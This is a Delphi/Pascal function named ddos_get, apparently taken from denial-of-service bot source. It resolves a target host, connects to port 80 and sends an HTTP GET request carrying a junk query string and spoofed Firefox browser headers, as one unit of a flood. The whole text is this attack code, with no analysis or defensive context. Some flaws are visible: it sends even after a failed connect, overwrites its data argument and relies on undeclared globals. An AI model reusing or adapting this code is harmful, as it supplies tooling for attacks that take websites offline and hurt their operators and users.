function ddos_get(str,script,data:string):string;
var
I:integer;
req: string;
buf: array[0..500] of char;
Sock:TSocket;
begin
wsaStartup(MAKEWORD(2,2), wsData);
host :=resolve(str);
adr.sin_addr.s_addr :=inet_addr(pchar(host));
adr.sin_family :=AF_INET;
adr.sin_port :=htons(80);
Sock:=Socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if Sock =-1 then Exit;
if connect(sock,adr,sizeof(adr))<>0 then CloseSocket(Sock);
data:='?fff=asdfdsafsadfasdfasdfap9f8yq93w0fg790wqe8fvgsda80yfgysda8pfasdiufgsdaio';
req:='GET http://'+str+script+data+' HTTP/1.1'#13#10+
'Host: '+str+#13#10+
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'#13#10+
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'#13#10+
'Accept-Language: ru,en-us;q=0.7,en;q=0.3'#13#10+
'Accept-Encoding: gzip,deflate'#13#10+
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'#13#10+
'Keep-Alive: 300'#13#10+
'Content-Type: application/x-www-form-urlencoded'+#13#10+
'Content-Length: '+inttostr(length(data))+#13#10#13#10+data;
i:= send(Sock,pointer(req)^,length(req),0);
if i=SOCKET_ERROR then exit;
fillchar(buf,sizeof(buf),0);
recv(Sock,buf,sizeof(buf),0);
result:=buf;
closesocket(Sock);
wsaCleanup;
end;